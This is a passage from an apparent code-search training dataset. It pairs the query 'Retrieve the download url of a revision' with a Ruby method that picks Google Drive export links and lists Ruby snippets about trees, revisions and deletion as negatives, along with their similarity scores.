card.collection.reload.recalculate_breadcrumb!\n card.collection.recursively_fix_breadcrumbs!\n end\n end\n end", "def traverse_down(&block)\n block.call(self)\n if(!children.nil?)\n children.each{ |child| child.traverse_down(&block) }\n end\n end", "def update_children\n return if children_attribs.nil?\n\n reload # Ancestry doesn't seem to work properly without this.\n\n # Symbolize keys if regular Hash. (not needed for HashWithIndifferentAccess)\n children_attribs.each{ |a| a.symbolize_keys! if a.respond_to?(:symbolize_keys!) }\n\n self.ranks_changed = false # Assume false to begin.\n self.options_added = false\n self.options_removed = false\n\n # Index all children by ID for better performance\n children_by_id = children.index_by(&:id)\n\n # Loop over all children attributes.\n # We use the ! variant of update and create below so that validation\n # errors on children and options will cascade up.\n (children_attribs || []).each_with_index do |attribs, i|\n\n # If there is a matching (by id) existing child.\n attribs[:id] = attribs[:id].to_i if attribs.key?(:id)\n if attribs[:id] && matching = children_by_id[attribs[:id]]\n self.ranks_changed = true if matching.rank != i + 1\n matching.update_attributes!(attribs.merge(rank: i + 1))\n copy_flags_from_subnode(matching)\n\n # Remove from hash so that we'll know later which ones weren't updated.\n children_by_id.delete(attribs[:id])\n else\n attribs = copy_denormalized_attribs_to_attrib_hash(attribs)\n self.options_added = true\n\n # We need to strip ID in case it's present due to a node changing parents.\n children.create!(attribs.except(:id).merge(rank: i + 1))\n end\n end\n\n # Destroy existing children that were not mentioned in the update.\n self.options_removed = true unless children_by_id.empty?\n children_by_id.values.each{ |c| c.destroy_with_copies }\n\n # Don't need this anymore. Nullify to prevent duplication on future saves.\n self.children_attribs = nil\n end", "def clean_db(prev_versions)\nputs \"CLEAN DB CALLED\"\n if Version.count > prev_versions\n to_remove = Version.count - prev_versions\n puts \"Removing #{to_remove} old versions from database\"\n Version.all(:limit => to_remove, :order => [ :processed.asc ]).each do |old_version|\n old_version.units.all.each do |old_unit|\n #old_unit.images.all.each do |old_image|\n # old_image.destroy\n #end\n old_unit.destroy\n end\n old_version.destroy\n end\n end\n end", "def update_descendants_with_new_ancestry\n # Skip this if callbacks are disabled\n unless ancestry_callbacks_disabled?\n # If node is valid, not a new record and ancestry was updated ...\n if changed.include?(self.base_class.ancestry_column.to_s) && !new_record? && valid?\n # ... for each descendant ...\n descendants.each do |descendant|\n # ... replace old ancestry with new ancestry\n descendant.without_ancestry_callbacks do\n descendant.update_attributes(\n self.base_class.ancestry_column =>\n descendant.read_attribute(descendant.class.ancestry_column).gsub(\n /^#{self.child_ancestry}/, \n if read_attribute(self.class.ancestry_column).blank? then id.to_s else \"#{read_attribute self.class.ancestry_column }/#{id}\" end\n )\n )\n end\n end\n end\n end\n end", "def update_descendants_with_new_ancestry\n # Skip this if callbacks are disabled\n unless ancestry_callbacks_disabled?\n # If node is not a new record and ancestry was updated and the new ancestry is sane ...\n if changed.include?(self.base_class.ancestry_column.to_s) && !new_record? && sane_ancestry?\n # ... for each descendant ...\n unscoped_descendants.each do |descendant|\n # ... replace old ancestry with new ancestry\n descendant.without_ancestry_callbacks do\n column = self.class.ancestry_column\n v = read_attribute(column)\n descendant.update_attribute(\n column,\n descendant.read_attribute(descendant.class.ancestry_column).gsub(\n /^#{self.child_ancestry}/,\n if v.blank? then\n id.to_s\n else\n \"#{v}/#{id}\"\n end\n )\n )\n end\n end\n end\n end\n end", "def revisions\n if id == nil\n Revision.where('1=0')\n end\n Revision.where(:discussion_id => id).where('reply_id IS null').order('created_at DESC')\n end", "def reverse_dependencies()\n\n a = LineTree.new(@s, root: @root).to_doc.root.xpath('//' + @name)\n\n s = a.select {|x| x.has_elements? }\\\n .map{|x| XmlToSliml.new(x).to_s }.join(\"\\n\")\n\n return DepViz.new if s.empty?\n\n dv3 = DepViz.new(root: nil)\n dv3.read s\n dv3\n\n end", "def set_child_foreign_keys\n self.children.each do |child|\n child.post_id = self.post_id\n end\n end", "def delete_now\n revisions.each do |rev_id| \n CouchDB.delete( \"#{uri}?rev=#{rev_id}\" )\n end\n true \n end", "def update_subtree\n children.find_all {|child| child.kind_of?(NonLeafNode)}.each do |child|\n child.update_subtree\n end\n update_shash(false)\n end", "def destroy\n # Call `draft_reversion_dependencies` to check if any other drafted records\n # should be reverted along with this `@draft`.\n @dependencies = @draft.draft_reversion_dependencies\n\n # If you would like to warn the user about dependent drafts that would need\n # to be reverted along with this one, you would implement an\n # `app/views/drafts/destroy.html.erb` view template. In that view template,\n # you could list the `@dependencies` and show a button posting back to this\n # action with a name of `commit_reversion`. (The button's being clicked\n # indicates to your application that the user accepts that the dependencies\n # should be reverted along with the `@draft`, thus avoiding orphaned\n # records).\n if @dependencies.empty? || params[:commit_reversion]\n @draft.revert!\n flash[:notice] = t('.notice')\n redirect_to @draft.item\n else\n # Renders `app/views/drafts/destroy.html.erb`\n end\n end", "def unset_children(e, children_elements)\n return if !e || !children_elements\n\n id_field = @db_fields[:id]\n id = e.send(id_field)\n if children_elements[id].is_a? Array\n children_elements[id].each do |child|\n unset_children(child, children_elements)\n end\n end\n children_elements.delete(id)\n end", "def descendants(reload = false)\n @descendants = nil if reload\n reload = true if !@descendants\n reload ? find_descendants(self) : @descendants\n end", "def destroy\n super\n\n @children.each do |_child_name, child_group|\n child_group.each(&:destroy)\n end\n\n @children = {}\n end", "def do_revision\n @record = find_if_allowed(params[:id], :read)\n @current_revision_number = @record.current_revision_number\n @revision_number ||= @current_revision_number\n @rev_record_1 = @record.restore_revision(@revision_number) if @revision_number\n @rev_record_2 = @record.restore_revision(@revision_number - 1) if @revision_number > 1\n end", "def remove\n each { |x| x.parent.children.delete(x) }\n end", "def remove_from_parent\n @change_set = ChangeSet.for(resource)\n parent_resource = find_resource(parent_resource_params[:id])\n authorize! :update, parent_resource\n\n parent_change_set = ChangeSet.for(parent_resource)\n current_member_ids = parent_resource.member_ids\n parent_change_set.member_ids = current_member_ids - [resource.id]\n\n obj = nil\n change_set_persister.buffer_into_index do |persist|\n obj = persist.save(change_set: parent_change_set)\n end\n after_update_success(obj, @change_set)\n rescue Valkyrie::Persistence::ObjectNotFoundError => e\n after_update_error e\n end", "def update_with_revision\n store_revision do\n update_without_revision\n end\n end", "def restore\r\n self.update(deleted: false)\r\n end", "def revert(files=nil, opts={})\n # get the parents - used in checking if we haven an uncommitted merge\n parent, p2 = dirstate.parents\n \n # get the revision\n rev = opts[:revision] || opts[:rev] || opts[:to]\n \n # check to make sure it's logically possible\n unless rev || p2 == Amp::Mercurial::RevlogSupport::Node::NULL_ID\n raise abort(\"uncommitted merge - please provide a specific revision\")\n end\n \n # if we have anything here, then create a matcher\n matcher = if files\n Amp::Match.create :files => files ,\n :includer => opts[:include],\n :excluder => opts[:exclude]\n else\n # else just return nil\n # we can return nil because when it gets used in :match => matcher,\n # it will be as though it's not even there\n nil\n end\n \n # the changeset we use as a guide\n changeset = self[rev]\n \n # get the files that need to be changed\n stats = status :node_1 => rev, :match => matcher\n \n ###\n # now make the changes\n ###\n \n ##########\n # MODIFIED and DELETED\n ##########\n # Just write the old data to the files\n (stats[:modified] + stats[:deleted]).each do |path|\n File.open path, 'w' do |file|\n file.write changeset.get_file(path).data\n end\n UI::status \"restored\\t#{path}\"\n end\n \n ##########\n # REMOVED\n ##########\n # these files are set to be removed, and have thus far been dropped from the filesystem\n # we restore them and we alert the repo\n stats[:removed].each do |path|\n File.open path, 'w' do |file|\n file.write changeset.get_file(path).data\n end\n \n staging_area.normal path # pretend nothing happened\n UI::status \"saved\\t#{path}\"\n end\n \n ##########\n # ADDED\n ##########\n # these files have been added SINCE +rev+\n stats[:added].each do |path|\n remove path\n UI::status \"destroyed\\t#{path}\"\n end # pretend these files were never even there\n \n staging_area.save\n true # success marker\n end", "def nullify_references(context = :default)\n new_parent = self.folder\n\n if new_parent\n pages.where({ title: Page::README_PAGE }).update({ title: \"#{self.title} - README\" })\n\n pages.update_all(folder_id: new_parent.id)\n folders.update_all(folder_id: new_parent.id)\n end\n\n self.reload\n end", "def cmd_rev2self(*args)\n client.sys.config.revert_to_self\n end" ]
[ "0.61279714", "0.600183", "0.5952044", "0.58861226", "0.58715415", "0.57461774", "0.5711405", "0.5671056", "0.5651764", "0.5594573", "0.5594495", "0.5589427", "0.5579125", "0.55737793", "0.5545496", "0.55401677", "0.5537722", "0.5535386", "0.55328995", "0.5524925", "0.5479257", "0.54759264", "0.54632264", "0.5420314", "0.5390393", "0.5387737", "0.53864413", "0.5382695", "0.53790957", "0.5367283", "0.53180194", "0.53071404", "0.53025955", "0.53004056", "0.52981114", "0.52763444", "0.5275983", "0.5269268", "0.5267758", "0.5260488", "0.52579135", "0.5256716", "0.5239455", "0.5238662", "0.5231453", "0.5214839", "0.51913816", "0.5188774", "0.5185279", "0.5182599", "0.51697195", "0.5145613", "0.514297", "0.5142838", "0.5142316", "0.5141946", "0.5121906", "0.51166964", "0.5112239", "0.51091176", "0.51091176", "0.51091176", "0.51030135", "0.509939", "0.50989467", "0.50927645", "0.50925624", "0.5083601", "0.5082562", "0.5077058", "0.50735736", "0.506981", "0.506215", "0.50603956", "0.50595087", "0.5047396", "0.5046027", "0.50392425", "0.5036256", "0.50305027", "0.50301933", "0.5029098", "0.5025617", "0.5017432", "0.50167423", "0.5015244", "0.50133634", "0.5013037", "0.5005605", "0.4997961", "0.4983524", "0.49831817", "0.49807143", "0.49769303", "0.49751574", "0.49738595", "0.49615085", "0.4959902", "0.49513203", "0.4951052" ]
0.5961084
2
Retrieve the download url of a revision
def retrieve_download_url(revision, type) # Download from export links as document download_url = revision['exportLinks'][DOCUMENT_LINK] if type == DOCUMENT # Otherwise download from export links as spreadsheet download_url = revision['exportLinks'][SHEETS_LINK] if type == SPREADSHEET # Otherwise download from export links as presentation download_url = revision['exportLinks'][PRES_LINK] if type == PRESENTATION download_url end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def url\n @client.get_download_link(@path)\n end", "def get_svn_url( dir='.' )\n\tinfo = get_svn_info( dir )\n\treturn info['URL']\nend", "def source_download_url(version, edition)\n src = iso_source(version, edition)\n assert_src_is_not_nil(src, version, edition) unless node['visualstudio'][version][edition]['installer_file'].empty?\n url = nil\n url = ::File.join(src, node['visualstudio'][version][edition]['filename']) unless src.empty?\n url\n end", "def get_download_url(author, repository, options)\n release_info = get_release_info(author, repository, options)\n\n if options[:asset] && release_info\n download_url = get_asset(release_info, options[:asset_filepattern], options[:asset_contenttype])\n return download_url unless download_url == ''\n\n get_archive_from_release_info(release_info, options[:use_zip])\n elsif release_info\n get_archive_from_release_info(release_info, options[:use_zip])\n elsif options[:asset_fallback] || !options[:asset]\n build_asset_url(\n author,\n repository,\n options,\n )\n else\n raise ArgumentError(\"Can't find download url for given criteria\")\n end\nend", "def fetch_revision\n end", "def get_download_url()\n return @@download_url;\n end", "def download_uri\n return @download_uri\n end", "def download_url(format='original')\n @download_urls[format] ||= begin\n response = API.instance.send_request('docs.getDownloadUrl', :doc_id => self.id, :doc_type => format)\n response.elements['/rsp/download_link'].cdatas.first.to_s\n end\n end", "def download_url(format='original')\n @download_urls[format] ||= begin\n response = API.instance.send_request('docs.getDownloadUrl', :doc_id => self.id, :doc_type => format)\n response.elements['/rsp/download_link'].cdatas.first.to_s\n end\n end", "def sourceforge_zip_url(project, release)\n return \"#{project.sourceforge_url}#{release.version}/#{project.zip_file}/download\".gsub('VERSION', release.version)\n end", "def download_uri\n @attributes[:download_uri]\n end", "def download_uri\n @attributes[:download_uri]\n end", "def revision\n return @changeset.revision if @changeset\n file_log[@file_rev].link_rev\n end", "def repo_url\n svn('info', '--xml')[/<url>(.*?)<\\/url>/, 1].strip\n end", "def get_version_string(uri)\n response = get_feed(uri)\n xml = REXML::Document.new response.body\n # use XPath to strip the href attribute of the first link whose\n # 'rel' attribute is set to edit\n edit_link = REXML::XPath.first(xml, '//[@rel=\"edit\"]')\n edit_link_href = edit_link.attribute('href').to_s\n # return the version string at the end of the link's href attribute\n return edit_link_href.split(/\\//)[10]\n end", "def download_link\n download_params = { :sub => 'download', :fileid => @fileid, :filename => @remote_filename, :cookie => @api.cookie }\n DOWNLOAD_URL % [ @server_id, @short_host, download_params.to_query ]\n end", "def revision_file\n @root.join('REVISION')\n end", "def artifact_download_url_for(node, source)\n # TODO: Move this method into the nexus-cli\n config = data_bag_config_for(node, source)\n nexus_path = config['path']\n group_id, artifact_id, version, extension, classifier = source.split(':')\n uri_for_url = URI(config['url'])\n builder = uri_for_url.scheme =~ /https/ ? URI::HTTPS : URI::HTTP\n is_content_path_enabled = use_content_path node\n query_string = \"g=#{group_id}&a=#{artifact_id}&v=#{version}&e=#{extension}&r=#{config['repository']}&c=#{classifier}\"\n if is_content_path_enabled\n if version.downcase.include? 'snapshot'\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"#{nexus_path}/service/local/artifact/maven/redirect\", :query => query_string).to_s\n else\n ##\n Chef::Log.info \"g-#{group_id} a-#{artifact_id} v-#{version} e-#{extension} c-#{classifier} repo #{config['repository']} url #{config['url']} path #{config['path']}\"\n gav_path=get_gav_path(group_id, artifact_id, version)\n f_name = get_download_fname(artifact_id, version, classifier, extension)\n if nexus_path ==''\n content_url=\"#{config['repository']}/#{gav_path}/#{f_name}\"\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"/#{content_url}\").to_s\n else\n # remove leading trailing /\n path = nexus_path.gsub(/^\\//, '')\n path = \"#{path.gsub(/\\/$/, '')}/content/repositories/#{config['repository']}\"\n content_path = \"#{path}/#{gav_path}\"\n content_url = \"#{content_path}/#{f_name}\"\n Chef::Log.info \"download url #{content_url}\"\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"/#{content_url}\").to_s\n end\n end\n else\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"#{nexus_path}/service/local/artifact/maven/redirect\", :query => query_string).to_s\n end\n end", "def asset_url\n URI(\"https://github.com/#{repo}/releases/download/#{release}/\" <<\n app_name)\n end", "def external_download_url\n @file.external_bytestream_uri.to_s\n end", "def downloadRevision(fileToGet, dest, revisionID)\n \n if !fileToGet || fileToGet.empty?\n puts \"please specify item to get\"\n elsif !dest || dest.empty?\n puts \"please specify full local path to dest, i.e. the file to write to\"\n elsif File.exists?(dest)\n puts \"error: File #{dest} already exists.\"\n else\n \n fileData,metadata = @client.get_file_and_metadata(fileToGet, rev='')\n \n #Create necessary parent directories:\n fileDir, fileNameAndExt = File.split(dest);\n fileName, fileExt = fileNameAndExt.split(/(?=\\.)/)\n FileUtils::mkdir_p(fileDir)\n \n \n #Write to file:\n open(dest, 'w'){|f| f.puts fileData }\n puts \"Downloaded file to #{dest}.\"\n end\n end", "def revision\n return changeset.rev if @changeset || @change_id\n link_rev\n end", "def archive_download_url\n raise \"Not implemented yet!\"\n end", "def download_url(hash)\n _get(\"/files/#{hash}/download_url\") { |json| json }\n end", "def track_download\n connection.get(links.download_location)[\"url\"]\n end", "def fetch_revision\n context.capture \"cat #{repo_path}/#{release_timestamp}_REVISION\"\n end", "def get_latest_release(project, bin)\n api_url = \"https://api.github.com/repos/#{project}/releases/latest\"\n data = URI.parse(api_url).read\n obj = JSON.parse(data)\n version = obj[\"name\"]\n sha_url = \"https://github.com/#{project}/releases/download/#{version}/#{bin}.sha256\"\n sha = URI.parse(sha_url).read\n url = \"https://github.com/#{project}/releases/download/#{version}/#{bin}\"\n sha256 = sha.split(\" \").first\n\n return url, sha256, version\nend", "def revision\n # HEAD is the default, but lets just be explicit here.\n get_revision('HEAD')\n end", "def get_ver_downloads(ver)\n Gems.downloads @node.name, ver\n end", "def url(path)\n uri, details = @api.cmd_to_url(:file_download, path: remote_file(path))\n @api.full_uri(uri, details[:params])\n end", "def get_historypath_uri(file_name,version,file,is_serverUrl=true)\n # for redirection to my link\n user_host = is_serverUrl ? '&userAddress=' + cur_user_host_address(nil) : \"\"\n uri = get_server_url(is_serverUrl) + '/downloadhistory/?fileName=' + ERB::Util.url_encode(file_name) + '&ver='+ version.to_s + '&file='+ ERB::Util.url_encode(file) + user_host\n return uri\n end", "def fetch_video_o_url(id:)\n require 'typhoeus'\n auth_url = 'https://www.flickr.com/video_download.gne?id=' + id\n dl_url = nil\n request = Typhoeus::Request.new(auth_url, headers: {Cookie: @config['cookie']})\n request.on_complete do |response|\n dl_url = response.headers['location']\n end\n request.run\n return dl_url\n end", "def tracks_get_download_link params = { :track_id => nil, :reason => 'save' }\n json = send_request 'tracks_get_download_link', params\n if json['success'] == true\n json['url']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end", "def download_link\n \"http://#{self.registered_download.brand.default_website.url}/#{self.registered_download.url}/get_it/#{self.download_code}\"\n end", "def get_svn_rev( dir='.' )\n\tinfo = get_svn_info( dir )\n\treturn info['Revision']\nend", "def web_url(filename, version=nil)\n fail NotImplementedError\n end", "def artifact_url(id = nil)\n \"#{artifact_directory_url}/#{remote_filename(id)}\"\n end", "def query_revision(revision)\n fast_remote_double_cache_remote_repository = variable(:fast_remote_double_cache_remote_repository)\n raise ArgumentError, \"Deploying remote branches is no longer supported. Specify the remote branch as a local branch for the git repository you're deploying from (ie: '#{revision.gsub('origin/', '')}' rather than '#{revision}').\" if revision =~ /^origin\\//\n return revision if revision =~ /^[0-9a-f]{40}$/\n command = scm('ls-remote', fast_remote_double_cache_remote_repository, revision)\n result = yield(command)\n revdata = result.split(/[\\t\\n]/)\n newrev = nil\n revdata.each_slice(2) do |refs|\n rev, ref = *refs\n if ref.sub(/refs\\/.*?\\//, '').strip == revision.to_s\n newrev = rev\n break\n end\n end\n raise \"Unable to resolve revision for '#{revision}' on repository '#{fast_remote_double_cache_remote_repository}'.\" unless newrev =~ /^[0-9a-f]{40}$/\n return newrev\n end", "def category_url\n revision.category_url\n end", "def get_revision(id, options={})\n get_request(\"revisions/#{id}\", options)\n end", "def odt_download_url(document)\n return [\"/\",self.class.to_s.downcase.pluralize,\"/download_odt/\",id.to_s,'?h=',rand.to_s,'&document=',document].join\n end", "def file_url(filename)\n raw_url = git_repository_url[0..-5]\n \"#{raw_url}/blob/#{git_commit_sha}/#{filename}\"\n end", "def filename\n @download_url.split(\"/\").last.split(\"?\").first\n end", "def download_path\n ::File.join(Chef::Config[:file_cache_path], ::File.basename(URL))\n end", "def make_retrieval_link(rid, base_url = nil)\n return if rid.blank?\n base_url = base_url[:base_url] if base_url.is_a?(Hash)\n base_url ||= Upload::BULK_BASE_URL\n # noinspection RubyMismatchedArgumentType\n File.join(base_url, 'download', rid).to_s\n end", "def download_url(**opt)\n opt[:expires_in] ||= ONE_TIME_USE_EXPIRATION\n attached_file&.url(**opt)\n end", "def url\n if derivative\n derivative_url || regular_url\n elsif version\n version_url\n else\n regular_url\n end\n end", "def find(revision, options = {})\n get_path(\n path_to_find(revision),\n options,\n Tinybucket::Parser::CommitParser\n )\n end", "def revision_string\n unless defined? @revision_string\n revision_file = File::join( Rails.root.to_s, 'REVISION' )\n @revision_string = if File.exists? revision_file\n File.open( revision_file ) do |file|\n file.readlines.first\n end\n end\n end\n @revision_string\n end", "def url\n client = client_from_attachment( hpg_resolve(shift_argument) )\n id = shift_argument\n\n if id\n b = client.get_backup(id)\n else\n b = client.get_latest_backup\n end\n\n if $stdout.isatty\n display '\"'+b['public_url']+'\"'\n else\n display b['public_url']\n end\n end", "def revision\r\n @revision\r\n end", "def url\n @doc.url\n end", "def url_of_file(filename)\n raw_file_url = 'https://raw.githubusercontent.com/david942j/one_gadget/@tag/@file'\n raw_file_url.sub('@tag', latest_tag).sub('@file', filename)\n end", "def get_repo_file_url(namespace, filename)\n \"#{get_repo_url}#{namespace}/#{filename}\"\n end", "def download_url(is_serverUrl=true)\n DocumentHelper.get_download_url(@file_name, is_serverUrl)\n end", "def get_file_impl(from_path, rev=nil) # :nodoc:\n params = {}\n params['rev'] = rev.to_s if rev\n\n path = \"/files/#{@root}#{format_path(from_path)}\"\n @session.do_get build_url(path, params, content_server=true)\n end", "def full_url\n self.source.full.url\n end", "def download_revisions(child, revisions, new_path)\n revisions.each do |revision|\n download_url = retrieve_download_url revision, child.mimeType\n dl = @client.execute!(uri: download_url.to_s) # Download file\n save_revision child, revision, dl, new_path\n end\n end", "def url\n RepoURL.new(@repo[:html_url]).repo_url\n end", "def get_download_url(id, use_cdn=false)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.add_param(kparams, 'useCdn', use_cdn);\n\t\t\tclient.queue_service_action_call('flavorasset', 'getDownloadUrl', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def revision\n @revision ||= begin\n unless info(:latest_available_revision)\n self.class.find(info(:id)).revision\n else\n Data::SongRevision.new(info(:latest_available_revision))\n end\n end\n end", "def fetch_svn_commit(rev)\n url_str = bot.config['svn_root_url']\n commit = []\n begin\n @log.info \"checking #{url_str} for new commit...\"\n\n # https://username:[email protected]:8080/svn/path/in/repo/\n url = Addressable::URI.parse(url_str)\n\n @log.debug PP.singleline_pp(url.to_hash, '')\n xmldata = `svn log --xml -v -r #{rev} #{url.omit(:user, :password)}`\n doc = REXML::Document.new(xmldata)\n \n doc.elements.inject('log/logentry', commit) do |commit, element|\n commit.push({:url => url}.merge(parse_entry_info(element)))\n end\n @log.debug PP.singleline_pp(commit, '')\n\n rescue Exception => e\n @log.error \"error connecting to svn: #{e.message}\"\n end\n return commit\n end", "def revision\n revisions.first\n end", "def image_url(ver)\n url_for_file_column(self, \"image\", ver)\n end", "def file_url(title, download: false)\n uri = URI.parse(\"#{stacks_url}/#{ERB::Util.url_encode(title)}\")\n uri.query = URI.encode_www_form(download: true) if download\n uri.to_s\n end", "def url_for_fetching\n server = Settings.git_server(url)\n if server.mirror.present?\n url.gsub(%r{(git@|https://).*?(:|/)}, server.mirror)\n else\n url\n end\n end", "def extract_url(resource)\n rails_blob_path(resource, disposition: 'attachment', only_path: true)\n end", "def version_for_cache\n \"download_url:#{source[:url]}|#{digest_type}:#{checksum}\"\n end", "def fetch_revision(commit)\n `git rev-parse #{commit}`.tr(\"\\n\", '')\n end", "def download_url\n @item.xpath('./enclosure').first['url']\n end", "def revision\n @handler.revision_info['commit']\n end", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def get_latest_revision\n raise NotImplementedError\n end", "def github_url(ruby_doc)\n version, file, line = ruby_doc.source_location.split(\":\")\n\n if version == MASTER\n path = File.join version, file\n else\n github_version = version.tr(\".\", \"_\")\n path = File.join \"v#{github_version}\", file\n end\n\n URI.join(GITHUB_REPO, path, \"#L#{line}\").to_s\n end", "def download_uri=(value)\n @download_uri = value\n end", "def get_latest_revision\n @current_revision\n end", "def get_file(url); end", "def git_revision\n puts \"Fetching the git revision\"\n\n _stdin, stdout, stderr, wait_thread = Open3.popen3(\"git rev-parse HEAD\")\n\n success = wait_thread.value.success?\n\n status = success ? Rack::ECG::Check::Status::OK : Rack::ECG::Check::Status::ERROR\n\n value = success ? stdout.read : stderr.read\n value = value.strip\n\n { name: :git_revision, status: status, value: value }\nend", "def get_revision(rev = 'HEAD')\n unless @resource.value(:source)\n status = at_path { git_with_identity('status') }\n is_it_new = status =~ %r{Initial commit|No commits yet}\n if is_it_new\n status =~ %r{On branch (.*)}\n branch = Regexp.last_match(1)\n return branch\n end\n end\n current = at_path { git_with_identity('rev-parse', rev).strip }\n if @resource.value(:revision) == current\n # if already pointed at desired revision, it must be a SHA, so just return it\n return current\n end\n if @resource.value(:source)\n update_references\n end\n if @resource.value(:revision)\n canonical = if tag_revision?\n # git-rev-parse will give you the hash of the tag object itself rather\n # than the commit it points to by default. Using tag^0 will return the\n # actual commit.\n at_path { git_with_identity('rev-parse', \"#{@resource.value(:revision)}^0\").strip }\n elsif local_branch_revision?\n at_path { git_with_identity('rev-parse', @resource.value(:revision)).strip }\n elsif remote_branch_revision?\n at_path { git_with_identity('rev-parse', \"#{@resource.value(:remote)}/#{@resource.value(:revision)}\").strip }\n else\n # look for a sha (could match invalid shas)\n at_path { git_with_identity('rev-parse', '--revs-only', @resource.value(:revision)).strip }\n end\n raise(\"#{@resource.value(:revision)} is not a local or remote ref\") if canonical.nil? || canonical.empty?\n current = @resource.value(:revision) if current == canonical\n end\n current\n end", "def get_download_url(info_doc)\r\n PREFERRED_FORMATS.each do |format|\r\n a = get_attribute(format)\r\n download_attr = info_doc.xpath('//rsp/videoList/video').first.attributes[a]\r\n return(download_attr.content) unless download_attr.nil? || download_attr.content.empty?\r\n end\r\n end", "def find(revision, options = {})\n get_path(\n path_to_find(revision),\n options,\n get_parser(:object, Tinybucket::Model::Commit)\n )\n end", "def url\n Rails.application.routes.url_helpers.nfs_store_download_path(id)\n end", "def query_revision(revision)\n return revision if revision =~ /^\\d+$/\n result = yield(scm(:info, repository, authentication, \"-r#{revision}\"))\n YAML.load(result)['Revision']\n end", "def link_for_repo(repo)\n repo.url\n end", "def get_revision(revision_identifier)\n raise NotImplementedError\n end", "def repository_url(repositiory)\n http_uri + repositiory.path\n end", "def get_downloaded_filename\n get_download_filename\n end", "def url(*args)\n return nil if file.nil?\n if file.exists?\n super.try do |original_url|\n updated_at = model.updated_at || Time.zone.now\n \"#{original_url.split('?v=').first}?v=#{updated_at.to_i}\"\n end\n else\n on_the_fly_recreate_version!('webp', lazy: true).url\n end\n end", "def revision(revision)\n revision = 'HEAD' if revision =~ /head/i\n \"`#{git_cmd} rev-parse #{revision}`\"\n end", "def find_download_url(page)\n matches = page.body.match(DOWNLOAD_URL_REGEX)\n return unless matches || matches[:url].blank?\n matches[:url].gsub('&amp;', '&')\n end", "def get(path, rev = nil)\n invoke(Request.new(:path => path, :rev => rev, :verb => Request::Verb::GET))\n end", "def url\n self.recipe_data.url\n end", "def get_ai_repo_url(options)\n repo_ver = get_ai_repo_version(options)\n repo_url = \"pkg:/[email protected]\"+repo_ver\n return repo_url\nend", "def downloaded_file\n filename = source[:cached_name] if source[:cached_name]\n filename ||= File.basename(source[:url], \"?*\")\n File.join(Config.cache_dir, filename)\n end", "def get_latest_version(opts)\n doc = fetch_doc('https://en.cppreference.com/w/Cppreference:Archives', opts)\n link = doc.at_css('a[title^=\"File:\"]')\n date = link.content.scan(/(\\d+)\\./)[0][0]\n DateTime.strptime(date, '%Y%m%d').to_time.to_i\n end", "def file_url(remote_path)\n get_adapter.file_url(remote_path)\n end" ]
[ "0.7115625", "0.692019", "0.69166803", "0.690489", "0.67453814", "0.6678584", "0.66289365", "0.6606281", "0.6606281", "0.6534521", "0.65274256", "0.65274256", "0.6511804", "0.64507645", "0.6443762", "0.6432969", "0.642532", "0.64223117", "0.64059794", "0.63889307", "0.6384515", "0.635998", "0.63591605", "0.6343988", "0.6330544", "0.6300601", "0.6292151", "0.62896806", "0.62844837", "0.62751216", "0.6263297", "0.616092", "0.6152893", "0.6138488", "0.61361015", "0.6126473", "0.61011016", "0.6092635", "0.6083284", "0.6081813", "0.60760236", "0.6059085", "0.60523844", "0.6050536", "0.6036407", "0.60277474", "0.6025806", "0.60251456", "0.60158646", "0.60150063", "0.6014005", "0.6010422", "0.6006978", "0.5998234", "0.59947234", "0.5990529", "0.59835994", "0.5969038", "0.59633005", "0.59619075", "0.59571487", "0.59481984", "0.59464544", "0.59461653", "0.593512", "0.5915524", "0.5897161", "0.58969975", "0.587475", "0.58621544", "0.5833445", "0.5826377", "0.5826377", "0.5826377", "0.5826377", "0.5826377", "0.5818544", "0.5813859", "0.5813811", "0.58052564", "0.580266", "0.5794777", "0.5792769", "0.57851076", "0.578182", "0.577977", "0.5779269", "0.5777371", "0.57669723", "0.57647055", "0.5759221", "0.5757209", "0.5756062", "0.5729433", "0.57247704", "0.5721932", "0.57145524", "0.57121414", "0.5700219", "0.56998515" ]
0.7835911
0
Save the revision to disk in new_path
def save_revision(child, revision, dl, new_path) modified_date = "#{revision['modifiedDate'].to_s.gsub(/:/, '_')}" output_file = "#{new_path}/#{child.title}_"\ "#{modified_date}_"\ "#{revision['lastModifyingUserName']}"\ ".#{retrieve_download_url(revision, child.mimeType)[-4, 4]}" # Save downloaded file # puts "Creating #{child.title} revision: ID #{revision.id}" IO.binwrite output_file, dl.body end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save_path_history(old_path, current_path, revision)\n update_path_history(old_path, revision) if should_save_path_history?(old_path, current_path)\n end", "def save_to(path); end", "def mark\n \"(echo #{revision} > #{destination}/REVISION)\"\n end", "def newpath\n return path(newname)\n end", "def save_revision(revision)\n if revision.save\n revision.page.body = revision.contents\n revision.page.file_path = revision.file_path\n flash[:success] = 'Revision created.'\n redirect_to revision.page and return if revision.page.save\n else\n flash[:danger] = 'Revision failed.'\n redirect_to revision.page\n end\n end", "def checkout(revision)\n str = content revision\n\n # write str to current directory\n File.open(@fname, \"w\") do |f|\n f.write str\n end\n end", "def write_file\n\n # file_edited is false when there was no match in the whole file and thus no contents have changed.\n if file_edited\n backup_pathname = original_pathname + \".old\"\n FileUtils.cp(original_pathname, backup_pathname, :preserve => true)\n File.open(original_pathname, \"w\") do |newfile|\n contents.each do |line|\n newfile.puts(line)\n end\n newfile.flush\n end\n end\n self.file_edited = false\n end", "def move_to(new_path)\n self.path = new_path\n self.save\n end", "def save_file \n Grit.debug = true\n contents = params[:contents]\n message = params[:commit_message]\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n 